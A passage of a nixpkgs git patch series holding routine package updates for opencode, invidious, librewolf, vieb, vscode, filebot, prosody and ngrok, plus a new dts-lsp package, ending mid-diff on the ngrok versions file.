 
-    vendorHash = "sha256-0vf4fOk32BLF9/904W8g+5m0vpe6i6tUFRXqDHVcMIQ=";
+    vendorHash = "sha256-G1vM8wxTTPpB1Oaxz2YI8AkirwG54A9i6Uq5e92ucyY=";
 
     subPackages = [ "cmd/opencode" ];
 

From bcdd725cbce540d4b33ea93d23f353fa9d005c77 Mon Sep 17 00:00:00 2001
From: Thierry Delafontaine <delafthi@pm.me>
Date: Sat, 19 Jul 2025 12:58:27 +0200
Subject: [PATCH 3058/4511] opencode: remove "models-dev-data" from
 updateScript subpackages

- Deleted the "--subpackage models-dev-data" entries from the updateScript extraArgs list

(cherry picked from commit 266eab0547186335b92fca0a97fb80f9751de5d9)
---
 pkgs/by-name/op/opencode/package.nix | 2 --
 1 file changed, 2 deletions(-)

diff --git a/pkgs/by-name/op/opencode/package.nix b/pkgs/by-name/op/opencode/package.nix
index 308413c71bba..4776696291c7 100644
--- a/pkgs/by-name/op/opencode/package.nix
+++ b/pkgs/by-name/op/opencode/package.nix
@@ -164,8 +164,6 @@ stdenvNoCC.mkDerivation (finalAttrs: {
         "tui"
         "--subpackage"
         "node_modules"
-        "--subpackage"
-        "models-dev-data"
       ];
     };
   };

From 159718da794a4840238c30049438240c9cfd7d6e Mon Sep 17 00:00:00 2001
From: Thierry Delafontaine <delafthi@pm.me>
Date: Sun, 20 Jul 2025 08:42:25 +0200
Subject: [PATCH 3059/4511] opencode: 0.3.22 -> 0.3.43

(cherry picked from commit 2e185849c6759397401af81fccbe36c5aad99219)
---
 pkgs/by-name/op/opencode/package.nix | 14 +++++++-------
 1 file changed, 7 insertions(+), 7 deletions(-)

diff --git a/pkgs/by-name/op/opencode/package.nix b/pkgs/by-name/op/opencode/package.nix
index 4776696291c7..1e7e4470335c 100644
--- a/pkgs/by-name/op/opencode/package.nix
+++ b/pkgs/by-name/op/opencode/package.nix
@@ -12,10 +12,10 @@
 
 let
   opencode-node-modules-hash = {
-    "aarch64-darwin" = "sha256-W/kIKKRt2rBbnb+42NaZ1PsHZPGJbtjB8kV/aP1iZKc=";
-    "aarch64-linux" = "sha256-xDUT61afD8wk3z35NXtQGvZQpxQkN/CPWctVObYQECE=";
-    "x86_64-darwin" = "sha256-Kumy9PeeCO3TQGDdS0Zw9/HlIIQT5O4wrBPGGyl73Og=";
-    "x86_64-linux" = "sha256-VB7bikVFy8w82M6AkYXjsHx34CNHAGMgY69KISOokE4=";
+    "aarch64-darwin" = "sha256-TAeFDsHGFJnUyp20ec+Rxp4t1FrWKfbtnxsE8PnLS0o=";
+    "aarch64-linux" = "sha256-F056MWf2dNAO21ezEvWg689WUibtz4Q4mcSuDuSY5EM=";
+    "x86_64-darwin" = "sha256-AN1Ha/les1ByJGfVkLDibfxjPouC0tAZ//EN3vDi1Hc=";
+    "x86_64-linux" = "sha256-XIRV1QrgRHnpJyrgK9ITxH61dve7nWfVoCPs3Tc8nuU=";
   };
   bun-target = {
     "aarch64-darwin" = "bun-darwin-arm64";
@@ -26,12 +26,12 @@ let
 in
 stdenvNoCC.mkDerivation (finalAttrs: {
   pname = "opencode";
-  version = "0.3.22";
+  version = "0.3.43";
   src = fetchFromGitHub {
     owner = "sst";
     repo = "opencode";
     tag = "v${finalAttrs.version}";
-    hash = "sha256-yT6uaTEKYb/+A1WhP6AQW0hWMnmS9vlfLn1E57cnzn0=";
+    hash = "sha256-EM44FkMPPkRChuLcNEEK3n4dLc5uqnX7dHROsZXyr58=";
   };
 
   tui = buildGoModule {
@@ -39,7 +39,7 @@ stdenvNoCC.mkDerivation (finalAttrs: {
     inherit (finalAttrs) version;
     src = "${finalAttrs.src}/packages/tui";
 
-    vendorHash = "sha256-G1vM8wxTTPpB1Oaxz2YI8AkirwG54A9i6Uq5e92ucyY=";
+    vendorHash = "sha256-/YxvM+HZM4aRqcjUiSX0D1DhhMJkmLdh7G4+fPqtnic=";
 
     subPackages = [ "cmd/opencode" ];
 

From 3c82cb559e33a8f69cf580646f0600bf76b292cf Mon Sep 17 00:00:00 2001
From: Thierry Delafontaine <delafthi@pm.me>
Date: Mon, 21 Jul 2025 19:37:53 +0200
Subject: [PATCH 3060/4511] opencode: 0.3.43 -> 0.3.51

(cherry picked from commit e6a07d0c1b9a3974e8a83437725b89624c63f7ba)
---
 pkgs/by-name/op/opencode/package.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/op/opencode/package.nix b/pkgs/by-name/op/opencode/package.nix
index 1e7e4470335c..93fa9982f5ed 100644
--- a/pkgs/by-name/op/opencode/package.nix
+++ b/pkgs/by-name/op/opencode/package.nix
@@ -26,12 +26,12 @@ let
 in
 stdenvNoCC.mkDerivation (finalAttrs: {
   pname = "opencode";
-  version = "0.3.43";
+  version = "0.3.51";
   src = fetchFromGitHub {
     owner = "sst";
     repo = "opencode";
     tag = "v${finalAttrs.version}";
-    hash = "sha256-EM44FkMPPkRChuLcNEEK3n4dLc5uqnX7dHROsZXyr58=";
+    hash = "sha256-lvosTLb9HI5IjE6Z1yEGNQn1M84zq23epgEhXGEuteQ=";
   };
 
   tui = buildGoModule {
@@ -39,7 +39,7 @@ stdenvNoCC.mkDerivation (finalAttrs: {
     inherit (finalAttrs) version;
     src = "${finalAttrs.src}/packages/tui";
 
-    vendorHash = "sha256-/YxvM+HZM4aRqcjUiSX0D1DhhMJkmLdh7G4+fPqtnic=";
+    vendorHash = "sha256-MZAKEXA34dHiH4XYUlLq6zo8ppG8JD3nj7fhZMrr+TI=";
 
     subPackages = [ "cmd/opencode" ];
 

From caae6231d446a9119800f5f2d784692b7f2ebe73 Mon Sep 17 00:00:00 2001
From: Thierry Delafontaine <delafthi@pm.me>
Date: Wed, 23 Jul 2025 21:08:04 +0200
Subject: [PATCH 3061/4511] opencode: 3.51 -> 3.58

(cherry picked from commit c85b8c43b1f397464c1839faabe4784272ff513a)
---
 pkgs/by-name/op/opencode/package.nix | 14 +++++++-------
 1 file changed, 7 insertions(+), 7 deletions(-)

diff --git a/pkgs/by-name/op/opencode/package.nix b/pkgs/by-name/op/opencode/package.nix
index 93fa9982f5ed..210e778c3b36 100644
--- a/pkgs/by-name/op/opencode/package.nix
+++ b/pkgs/by-name/op/opencode/package.nix
@@ -12,10 +12,10 @@
 
 let
   opencode-node-modules-hash = {
-    "aarch64-darwin" = "sha256-TAeFDsHGFJnUyp20ec+Rxp4t1FrWKfbtnxsE8PnLS0o=";
-    "aarch64-linux" = "sha256-F056MWf2dNAO21ezEvWg689WUibtz4Q4mcSuDuSY5EM=";
-    "x86_64-darwin" = "sha256-AN1Ha/les1ByJGfVkLDibfxjPouC0tAZ//EN3vDi1Hc=";
-    "x86_64-linux" = "sha256-XIRV1QrgRHnpJyrgK9ITxH61dve7nWfVoCPs3Tc8nuU=";
+    "aarch64-darwin" = "sha256-so+KiAo8C7olbJaCH1rIVxs/tq/g9l5pKPaU8D+Zm28=";
+    "aarch64-linux" = "sha256-JNf8g0z6oH2OXJLAmCSP0W4WX+GGyald5DAFOYCBNP0=";
+    "x86_64-darwin" = "sha256-jwmH4gEcyRNgeMvYz2SyWRagFkYN1O3ULEQIPPgqhwg=";
+    "x86_64-linux" = "sha256-ZMz7vfndYrpjUvhX8L9qv/lXcWKqXZwvfahGAE5EKYo=";
   };
   bun-target = {
     "aarch64-darwin" = "bun-darwin-arm64";
@@ -26,12 +26,12 @@ let
 in
 stdenvNoCC.mkDerivation (finalAttrs: {
   pname = "opencode";
-  version = "0.3.51";
+  version = "0.3.58";
   src = fetchFromGitHub {
     owner = "sst";
     repo = "opencode";
     tag = "v${finalAttrs.version}";
-    hash = "sha256-lvosTLb9HI5IjE6Z1yEGNQn1M84zq23epgEhXGEuteQ=";
+    hash = "sha256-Zm3ydijaduPcIw5Np1+5CzNMoaASQwOT2R72/pdyUwM=";
   };
 
   tui = buildGoModule {
@@ -39,7 +39,7 @@ stdenvNoCC.mkDerivation (finalAttrs: {
     inherit (finalAttrs) version;
     src = "${finalAttrs.src}/packages/tui";
 
-    vendorHash = "sha256-MZAKEXA34dHiH4XYUlLq6zo8ppG8JD3nj7fhZMrr+TI=";
+    vendorHash = "sha256-8OIPFa+bl1If55YZtacyOZOqMLslbMyO9Hx0HOzmrA0=";
 
     subPackages = [ "cmd/opencode" ];
 

From 1e3f344fb6d95779dd6ad8ee6d12eb27e6b58fbe Mon Sep 17 00:00:00 2001
From: Thierry Delafontaine <delafthi@pm.me>
Date: Sat, 26 Jul 2025 14:02:58 +0200
Subject: [PATCH 3062/4511] opencode: 0.3.58 -> 0.3.85

(cherry picked from commit 1329d9841b47188e40a8ea79ddad7cb2d536f9a1)
---
 pkgs/by-name/op/opencode/package.nix | 14 +++++++-------
 1 file changed, 7 insertions(+), 7 deletions(-)

diff --git a/pkgs/by-name/op/opencode/package.nix b/pkgs/by-name/op/opencode/package.nix
index 210e778c3b36..070f4b02f41c 100644
--- a/pkgs/by-name/op/opencode/package.nix
+++ b/pkgs/by-name/op/opencode/package.nix
@@ -12,10 +12,10 @@
 
 let
   opencode-node-modules-hash = {
-    "aarch64-darwin" = "sha256-so+KiAo8C7olbJaCH1rIVxs/tq/g9l5pKPaU8D+Zm28=";
-    "aarch64-linux" = "sha256-JNf8g0z6oH2OXJLAmCSP0W4WX+GGyald5DAFOYCBNP0=";
-    "x86_64-darwin" = "sha256-jwmH4gEcyRNgeMvYz2SyWRagFkYN1O3ULEQIPPgqhwg=";
-    "x86_64-linux" = "sha256-ZMz7vfndYrpjUvhX8L9qv/lXcWKqXZwvfahGAE5EKYo=";
+    "aarch64-darwin" = "sha256-iPMaEpepvKCb0VEUQPy4to6kwgSKnVsMbckVEYF+58E=";
+    "aarch64-linux" = "sha256-Ybf8MiiCHHEMQGqc4PGPHvcfons+sLvhO4UkWQghJ34=";
+    "x86_64-darwin" = "sha256-5ULx3Y7RmMggyMp7eGN7XFCKvoIqW7W7lHaTlgjBLWo=";
+    "x86_64-linux" = "sha256-ZtZvS0jF2YpkDeCdP2y1qX4fJVMq8BBq6EFwqvDEfdc=";
   };
   bun-target = {
     "aarch64-darwin" = "bun-darwin-arm64";
@@ -26,12 +26,12 @@ let
 in
 stdenvNoCC.mkDerivation (finalAttrs: {
   pname = "opencode";
-  version = "0.3.58";
+  version = "0.3.85";
   src = fetchFromGitHub {
     owner = "sst";
     repo = "opencode";
     tag = "v${finalAttrs.version}";
-    hash = "sha256-Zm3ydijaduPcIw5Np1+5CzNMoaASQwOT2R72/pdyUwM=";
+    hash = "sha256-7L50P3+u4SHQtjSdFJviPaeLFnOIGP/l4BFLHKm4pNs=";
   };
 
   tui = buildGoModule {
@@ -39,7 +39,7 @@ stdenvNoCC.mkDerivation (finalAttrs: {
     inherit (finalAttrs) version;
     src = "${finalAttrs.src}/packages/tui";
 
-    vendorHash = "sha256-8OIPFa+bl1If55YZtacyOZOqMLslbMyO9Hx0HOzmrA0=";
+    vendorHash = "sha256-+j8+TjTzd7AH9Si9tS7noTpPcG1lz9j+tmxUTrPcThw=";
 
     subPackages = [ "cmd/opencode" ];
 

From d1c41c17c1a94ffd81a79ceccc312f326b62e234 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?L=C3=A1szl=C3=B3=20Kupcsik?= <dev@biobits.be>
Date: Sun, 27 Jul 2025 08:39:25 -0400
Subject: [PATCH 3063/4511] Revert "invidious: 2.20250504.0 -> 2.20250517.0"

This reverts commit 55245e62aa0d8fb002b8d88bb601f79c946a083e.

Broken video playback (`Missing hash key: "videoDetails" (KeyError)`)

(cherry picked from commit 5392fe7f8ba7e89dd1e7bfcae305bb16aa7f980e)
---
 pkgs/by-name/in/invidious/package.nix   | 2 ++
 pkgs/by-name/in/invidious/versions.json | 8 ++++----
 2 files changed, 6 insertions(+), 4 deletions(-)

diff --git a/pkgs/by-name/in/invidious/package.nix b/pkgs/by-name/in/invidious/package.nix
index 6157e59d01da..a85cefe4fcce 100644
--- a/pkgs/by-name/in/invidious/package.nix
+++ b/pkgs/by-name/in/invidious/package.nix
@@ -20,6 +20,8 @@
   #     but nix's sandboxing does not allow that)
   #   * if shard.lock changed
   #     * recreate shards.nix by running crystal2nix
+  # Broken versions:
+  #   * 20250517 (`Missing hash key: "videoDetails" (KeyError)`)
   versions ? lib.importJSON ./versions.json,
 }:
 let
diff --git a/pkgs/by-name/in/invidious/versions.json b/pkgs/by-name/in/invidious/versions.json
index 4b19966974c1..dfd283f577de 100644
--- a/pkgs/by-name/in/invidious/versions.json
+++ b/pkgs/by-name/in/invidious/versions.json
@@ -1,9 +1,9 @@
 {
   "invidious": {
-    "hash": "sha256-Mm1Hk7L/aFuVrcS+6ikrW8RQZld31vU5Uwecr0HIseQ=",
-    "version": "2.20250517.0",
-    "date": "2025.05.17",
-    "commit": "f07859e1"
+    "hash": "sha256-JXcj5mh0WEetTt91cA+/pgqxNwyIRF+bISOBoHHVZf0=",
+    "version": "2.20250504.0",
+    "date": "2025.05.04",
+    "commit": "aa7de1ed"
   },
   "videojs": {
     "hash": "sha256-jED3zsDkPN8i6GhBBJwnsHujbuwlHdsVpVqa1/pzSH4="

From fb48ff4d9f971c02e27edc6bd92013f8422c1bed Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Wed, 2 Jul 2025 04:41:09 +0000
Subject: [PATCH 3064/4511] librewolf-bin-unwrapped: 139.0.4-1 -> 140.0.2-1

(cherry picked from commit cdbdfbd426bffa2f5f35e204a234430a219b185d)
---
 pkgs/by-name/li/librewolf-bin-unwrapped/package.nix | 8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

diff --git a/pkgs/by-name/li/librewolf-bin-unwrapped/package.nix b/pkgs/by-name/li/librewolf-bin-unwrapped/package.nix
index fe84f2d0e21e..eb9040b9afe7 100644
--- a/pkgs/by-name/li/librewolf-bin-unwrapped/package.nix
+++ b/pkgs/by-name/li/librewolf-bin-unwrapped/package.nix
@@ -37,7 +37,7 @@ let
 
   pname = "librewolf-bin-unwrapped";
 
-  version = "139.0.4-1";
+  version = "140.0.2-1";
 in
 
 stdenv.mkDerivation {
@@ -47,9 +47,9 @@ stdenv.mkDerivation {
     url = "https://gitlab.com/api/v4/projects/44042130/packages/generic/librewolf/${version}/librewolf-${version}-${arch}-package.tar.xz";
     hash =
       {
-        i686-linux = "sha256-JE/BaRr/idpGuKkNxN9syOLGddnT1jlvnP8LNkHUNXw=";
-        x86_64-linux = "sha256-kENor/EGKgeCltiJSn03JMpJAtHaHAsuHzWTU2Yx3+Y=";
-        aarch64-linux = "sha256-VYVicoH45aFXx8rJu//0ycI579f0Nc1PLj2VdL6vPNo=";
+        i686-linux = "sha256-yT0THuPV5kGqixPkP+lEWbsXzUQQaNVHXQ97TycLpTI=";
+        x86_64-linux = "sha256-CEH9ZPQ6H9o3YjH52fvy7RHRuQSGikpFG7BOEVft4oM=";
+        aarch64-linux = "sha256-7urFzyOQ5/KbIFdL34Fkb+Z6ORhDfXZFQoY8RkMcNao=";
       }
       .${stdenv.hostPlatform.system} or throwSystem;
   };

From 77f29ae1745433d5eaf1c297591721c4d0ea5998 Mon Sep 17 00:00:00 2001
From: Jon Hermansen <jon@jh86.org>
Date: Sat, 19 Jul 2025 21:12:29 -0400
Subject: [PATCH 3065/4511] librewolf-bin-unwrapped: 140.0.2-1 -> 140.0.4-1

(cherry picked from commit 6fb6f2100f991422f8cd2094bbd21013929a430f)
---
 pkgs/by-name/li/librewolf-bin-unwrapped/package.nix | 8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

diff --git a/pkgs/by-name/li/librewolf-bin-unwrapped/package.nix b/pkgs/by-name/li/librewolf-bin-unwrapped/package.nix
index eb9040b9afe7..b279a124270a 100644
--- a/pkgs/by-name/li/librewolf-bin-unwrapped/package.nix
+++ b/pkgs/by-name/li/librewolf-bin-unwrapped/package.nix
@@ -37,7 +37,7 @@ let
 
   pname = "librewolf-bin-unwrapped";
 
-  version = "140.0.2-1";
+  version = "140.0.4-1";
 in
 
 stdenv.mkDerivation {
@@ -47,9 +47,9 @@ stdenv.mkDerivation {
     url = "https://gitlab.com/api/v4/projects/44042130/packages/generic/librewolf/${version}/librewolf-${version}-${arch}-package.tar.xz";
     hash =
       {
-        i686-linux = "sha256-yT0THuPV5kGqixPkP+lEWbsXzUQQaNVHXQ97TycLpTI=";
-        x86_64-linux = "sha256-CEH9ZPQ6H9o3YjH52fvy7RHRuQSGikpFG7BOEVft4oM=";
-        aarch64-linux = "sha256-7urFzyOQ5/KbIFdL34Fkb+Z6ORhDfXZFQoY8RkMcNao=";
+        i686-linux = "sha256-DrjlqCjQ6BJe9m/0/n9c4vvKBU9kVywVPHpWO7tTTUw=";
+        x86_64-linux = "sha256-KHwp8Lk1Y8FyJBbqKgYa5O+NvBvBCDp7fbOVfd93Lr4=";
+        aarch64-linux = "sha256-o8eM/49kmG6e0cnNZnKp1wAd2evMeXLxwC96cavwfmY=";
       }
       .${stdenv.hostPlatform.system} or throwSystem;
   };

From ae451421738e1c3b824370614f209c9fb29ffab6 Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Mon, 28 Jul 2025 06:59:19 +0000
Subject: [PATCH 3066/4511] librewolf-bin-unwrapped: 140.0.4-1 -> 141.0-1

(cherry picked from commit cec204a74e8a7e7d419c69949b91caa09242fc1e)
---
 pkgs/by-name/li/librewolf-bin-unwrapped/package.nix | 8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

diff --git a/pkgs/by-name/li/librewolf-bin-unwrapped/package.nix b/pkgs/by-name/li/librewolf-bin-unwrapped/package.nix
index b279a124270a..a72a5fad89d4 100644
--- a/pkgs/by-name/li/librewolf-bin-unwrapped/package.nix
+++ b/pkgs/by-name/li/librewolf-bin-unwrapped/package.nix
@@ -37,7 +37,7 @@ let
 
   pname = "librewolf-bin-unwrapped";
 
-  version = "140.0.4-1";
+  version = "141.0-1";
 in
 
 stdenv.mkDerivation {
@@ -47,9 +47,9 @@ stdenv.mkDerivation {
     url = "https://gitlab.com/api/v4/projects/44042130/packages/generic/librewolf/${version}/librewolf-${version}-${arch}-package.tar.xz";
     hash =
       {
-        i686-linux = "sha256-DrjlqCjQ6BJe9m/0/n9c4vvKBU9kVywVPHpWO7tTTUw=";
-        x86_64-linux = "sha256-KHwp8Lk1Y8FyJBbqKgYa5O+NvBvBCDp7fbOVfd93Lr4=";
-        aarch64-linux = "sha256-o8eM/49kmG6e0cnNZnKp1wAd2evMeXLxwC96cavwfmY=";
+        i686-linux = "sha256-nF9sGMMzLmVJapTyiU8y0ICIl26i+eloAHKJSVvSeuY=";
+        x86_64-linux = "sha256-mlvZ0faAXra6oZ4nsq6hiIgk/byoa0EmThvAkGpqQiU=";
+        aarch64-linux = "sha256-AfMmwQtfjWY0ImwQ/M+1liU3IzaxBVkIVLxSEQ7YTCw=";
       }
       .${stdenv.hostPlatform.system} or throwSystem;
   };

From a8fe77ad21ef5481fff48a3505e553bf937dd7d6 Mon Sep 17 00:00:00 2001
From: Jeff Huffman <tejing@tejing.com>
Date: Thu, 31 Jul 2025 12:55:47 -0400
Subject: [PATCH 3067/4511] vieb: 12.3.0 -> 12.4.0

---
 pkgs/by-name/vi/vieb/package.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/vi/vieb/package.nix b/pkgs/by-name/vi/vieb/package.nix
index ab4feb991bb2..cd98c851242e 100644
--- a/pkgs/by-name/vi/vieb/package.nix
+++ b/pkgs/by-name/vi/vieb/package.nix
@@ -11,20 +11,20 @@
 
 buildNpmPackage rec {
   pname = "vieb";
-  version = "12.3.0";
+  version = "12.4.0";
 
   src = fetchFromGitHub {
     owner = "Jelmerro";
     repo = pname;
     rev = version;
-    hash = "sha256-g3L+bzsDP3vfTaroqCWzRDymFTZE+6nLytRWzPMBoX8=";
+    hash = "sha256-0xN4VbgmGMkB8KNCtTtMexzkZq/X7CHGKGJj53JMuPU=";
   };
 
   postPatch = ''
     sed -i '/"electron"/d' package.json
   '';
 
-  npmDepsHash = "sha256-0V2fKdfqO64DLqLGz1OK9BZEbwGDqPFUdxu9F6v6Ms4=";
+  npmDepsHash = "sha256-klBsTXZbJHfG//woDSTQResqRg3a0KdEeFeObomzrro=";
   makeCacheWritable = true;
   dontNpmBuild = true;
   env.ELECTRON_SKIP_BINARY_DOWNLOAD = 1;

From 202a4490a1ce6fcdd292abb007696024750a7ff4 Mon Sep 17 00:00:00 2001
From: PhiliPdB <phlpdbrn@gmail.com>
Date: Thu, 31 Jul 2025 19:50:20 +0200
Subject: [PATCH 3068/4511] vscode: 1.102.2 -> 1.102.3

(cherry picked from commit db4c2599f4733f9a6b288aeabe2dd5f391484119)
---
 pkgs/applications/editors/vscode/vscode.nix | 16 ++++++++--------
 1 file changed, 8 insertions(+), 8 deletions(-)

diff --git a/pkgs/applications/editors/vscode/vscode.nix b/pkgs/applications/editors/vscode/vscode.nix
index cb4eaa9110b3..4ea25a9f1bec 100644
--- a/pkgs/applications/editors/vscode/vscode.nix
+++ b/pkgs/applications/editors/vscode/vscode.nix
@@ -36,22 +36,22 @@ let
 
   hash =
     {
-      x86_64-linux = "sha256-BzJWy/dxOhHilMKh1+w4W569MFudBKAU4fycrYLLW/0=";
-      x86_64-darwin = "sha256-dPtStLcmFm9Zf3gRYz/37qHvV3hEfV3nW/N7TVjI8B8=";
-      aarch64-linux = "sha256-x4f7y2r0CBE8ubwnQNmCIjQOA07/6qW563FqFnn6V5Q=";
-      aarch64-darwin = "sha256-c64gB5t0U0glgcfMlCvVBphQ3rsX758vCUFPVNWqTJY=";
-      armv7l-linux = "sha256-I2uhURbxv1aGruOn28xCssGxPjvEs9qzTfRIZFiKVRI=";
+      x86_64-linux = "sha256-EbgP2CjUBiC+2G7TkGyuxaqr35sTArls4lbDNTH1Pmc=";
+      x86_64-darwin = "sha256-OrDuzSaPxuedhS21Hx1PNTbp6eQpfFfUbO05gIu5Ou8=";
+      aarch64-linux = "sha256-V0aEGqBRf3qVKvPYNypQ9hYWovqQIC3kQq2goq/hVjA=";
+      aarch64-darwin = "sha256-29i/+mz0NCU0ZCO+tzlbSl1iKx5/H89bGQTvRR5/PuA=";
+      armv7l-linux = "sha256-VSsn4d9ztFgGXVZeCeTSHDD5n3aTBbHF/xx2JvTGOeQ=";
     }
     .${system} or throwSystem;
 in
 callPackage ./generic.nix rec {
   # Please backport all compatible updates to the stable release.
   # This is important for the extension ecosystem.
-  version = "1.102.2";
+  version = "1.102.3";
   pname = "vscode" + lib.optionalString isInsiders "-insiders";
 
   # This is used for VS Code - Remote SSH test
-  rev = "c306e94f98122556ca081f527b466015e1bc37b0";
+  rev = "488a1f239235055e34e673291fb8d8c810886f81";
 
   executableName = "code" + lib.optionalString isInsiders "-insiders";
   longName = "Visual Studio Code" + lib.optionalString isInsiders " - Insiders";
@@ -75,7 +75,7 @@ callPackage ./generic.nix rec {
     src = fetchurl {
       name = "vscode-server-${rev}.tar.gz";
       url = "https://update.code.visualstudio.com/commit:${rev}/server-linux-x64/stable";
-      hash = "sha256-tvbyqgH8nF0mui0UnDAvN2LdjcB8GQVbSg48cwe6BFA=";
+      hash = "sha256-xVYG/EJRPRJBj3BSarTwpX9F1UM/OI+7ci6vQa64iWI=";
     };
     stdenv = stdenvNoCC;
   };

From 0629d0a7b5c0f99e83fc92962d95f44d443d409e Mon Sep 17 00:00:00 2001
From: vik <vik@vidh.net>
Date: Tue, 29 Jul 2025 10:06:47 -0700
Subject: [PATCH 3069/4511] filebot: fix mediainfo

force filebot to use libmediainfo.so from nix

(cherry picked from commit 13266e265f638f8aa9e01cea85675afd3d3d7f20)
---
 pkgs/by-name/fi/filebot/package.nix | 18 +++++++++++++++++-
 1 file changed, 17 insertions(+), 1 deletion(-)

diff --git a/pkgs/by-name/fi/filebot/package.nix b/pkgs/by-name/fi/filebot/package.nix
index ec542be40f16..51fda20db0df 100644
--- a/pkgs/by-name/fi/filebot/package.nix
+++ b/pkgs/by-name/fi/filebot/package.nix
@@ -56,7 +56,23 @@ stdenv.mkDerivation (finalAttrs: {
   installPhase = ''
     mkdir -p $out/opt $out/bin
     # Since FileBot has dependencies on relative paths between files, all required files are copied to the same location as is.
-    cp -r filebot.sh lib/ jar/ $out/opt/
+    cp -r filebot.sh jar/ $out/opt/
+    # Copy lib based on platform and force filebot to use libmediainfo.so from nix
+    local platformDir
+    case "${stdenv.hostPlatform.system}" in
+      "x86_64-linux")
+        platformDir="Linux-x86_64"
+        ;;
+      "aarch64-linux")
+        platformDir="Linux-aarch64"
+        ;;
+    esac
+    if [ -n "$platformDir" ]; then
+      mkdir -p "$out/opt/lib"
+      cp -r "lib/$platformDir" "$out/opt/lib/"
+      rm "$out/opt/lib/$platformDir/libmediainfo.so"
+      ln -s "${libmediainfo}/lib/libmediainfo.so" "$out/opt/lib/$platformDir/"
+    fi
     # Filebot writes to $APP_DATA, which fails due to read-only filesystem. Using current user .local directory instead.
     substituteInPlace $out/opt/filebot.sh \
       --replace 'APP_DATA="$FILEBOT_HOME/data/$(id -u)"' 'APP_DATA=''${XDG_DATA_HOME:-$HOME/.local/share}/filebot/data' \

From 63176f93148b17eef5619aeb49e8e6e42e4cb752 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?=E0=B9=82=E0=B8=97=E0=B8=AA=E0=B8=BA=E0=B8=95=E0=B8=B1?=
 =?UTF-8?q?=E0=B8=A5?= <toastal@posteo.net>
Date: Thu, 9 Jan 2025 13:51:45 +0700
Subject: [PATCH 3070/4511] prosody: 0.12.4 -> 0.12.5 + community modules

(cherry picked from commit 700fb411f76b18458dff1aab4d16f7d68a95ae00)
---
 pkgs/servers/xmpp/prosody/default.nix | 8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

diff --git a/pkgs/servers/xmpp/prosody/default.nix b/pkgs/servers/xmpp/prosody/default.nix
index 997716a8928f..891c7d866300 100644
--- a/pkgs/servers/xmpp/prosody/default.nix
+++ b/pkgs/servers/xmpp/prosody/default.nix
@@ -36,7 +36,7 @@ let
   );
 in
 stdenv.mkDerivation rec {
-  version = "0.12.4"; # also update communityModules
+  version = "0.12.5"; # also update communityModules
   pname = "prosody";
   # The following community modules are necessary for the nixos module
   # prosody module to comply with XEP-0423 and provide a working
@@ -48,7 +48,7 @@ stdenv.mkDerivation rec {
   ];
   src = fetchurl {
     url = "https://prosody.im/downloads/source/${pname}-${version}.tar.gz";
-    sha256 = "R9cSJzwvKVWMQS9s2uwHMmC7wmt92iQ9tYAzAYPWWFY=";
+    sha256 = "sha256-d4+3cHoPEDmVlbp6ucZt0qIojArjp/5Kt4+X1GK9OZ8=";
   };
 
   # A note to all those merging automated updates: Please also update this
@@ -56,8 +56,8 @@ stdenv.mkDerivation rec {
   # version.
   communityModules = fetchhg {
     url = "https://hg.prosody.im/prosody-modules";
-    rev = "d3a72777f149";
-    hash = "sha256-qLuhEdvtOMfu78oxLUZKWZDb/AME1+IRnk0jkQNxTU8=";
+    rev = "fc521fb5ffa0";
+    hash = "sha256-Ci52Xkx1xd3GW9lBPKgWFBB52SocxKyj8f/Hq3hZeak=";
   };
 
   nativeBuildInputs = [ makeWrapper ];

From 108ee18be52dc0aa642d6e65b58f0b58e7fb4ab9 Mon Sep 17 00:00:00 2001
From: Jared Baur <jaredbaur@fastmail.com>
Date: Mon, 28 Jul 2025 23:44:01 -0700
Subject: [PATCH 3071/4511] dts-lsp: init at 0.1.5

(cherry picked from commit d9ee2ee84a94479c96007c526e6d0cd54cda65c4)
---
 pkgs/by-name/dt/dts-lsp/package.nix | 34 +++++++++++++++++++++++++++++
 1 file changed, 34 insertions(+)
 create mode 100644 pkgs/by-name/dt/dts-lsp/package.nix

diff --git a/pkgs/by-name/dt/dts-lsp/package.nix b/pkgs/by-name/dt/dts-lsp/package.nix
new file mode 100644
index 000000000000..8e2d8786fd1a
--- /dev/null
+++ b/pkgs/by-name/dt/dts-lsp/package.nix
@@ -0,0 +1,34 @@
+{
+  fetchFromGitHub,
+  lib,
+  nix-update-script,
+  rustPlatform,
+}:
+
+rustPlatform.buildRustPackage (finalAttrs: {
+  pname = "dts-lsp";
+  version = "0.1.5";
+
+  src = fetchFromGitHub {
+    owner = "igor-prusov";
+    repo = "dts-lsp";
+    tag = finalAttrs.version;
+    hash = "sha256-8wMY0o8ceVl5UTsSpXf44gbX1ipSuR50cQTRng+MuNk=";
+  };
+
+  cargoHash = "sha256-hZZcu3LaG4kkXJSF0uxHrdPB3YWB3hMv+jrMLMDp2aI=";
+
+  passthru.updateScript = nix-update-script { };
+
+  meta = {
+    description = "Language Server for Device Tree Source files";
+    homepage = "https://github.com/igor-prusov/dts-lsp";
+    changelog = "https://github.com/igor-prusov/dts-lsp/blob/${finalAttrs.version}/CHANGELOG.md";
+    license = with lib.licenses; [
+      asl20
+      mit
+    ];
+    maintainers = [ lib.maintainers.jmbaur ];
+    mainProgram = "dts-lsp";
+  };
+})

From b10050196b91ca93d859a85c390dc36baf5643c2 Mon Sep 17 00:00:00 2001
From: Jonathan Stacks <jonstacks@users.noreply.github.com>
Date: Tue, 20 May 2025 14:41:58 -0500
Subject: [PATCH 3072/4511] ngrok 3.19.1 -> 3.22.1

(cherry picked from commit 362bea776ebe79664f513cfc74f2f9e8b587ab07)
---
 pkgs/by-name/ng/ngrok/versions.json | 36 ++++++++++++++---------------
 1 file changed, 18 insertions(+), 18 deletions(-)

diff --git a/pkgs/by-name/ng/ngrok/versions.json b/pkgs/by-name/ng/ngrok/versions.json
index 534f529f3337..8831f0240f5c 100644
--- a/pkgs/by-name/ng/ngrok/versions.json
+++ b/pkgs/by-name/ng/ngrok/versions.json
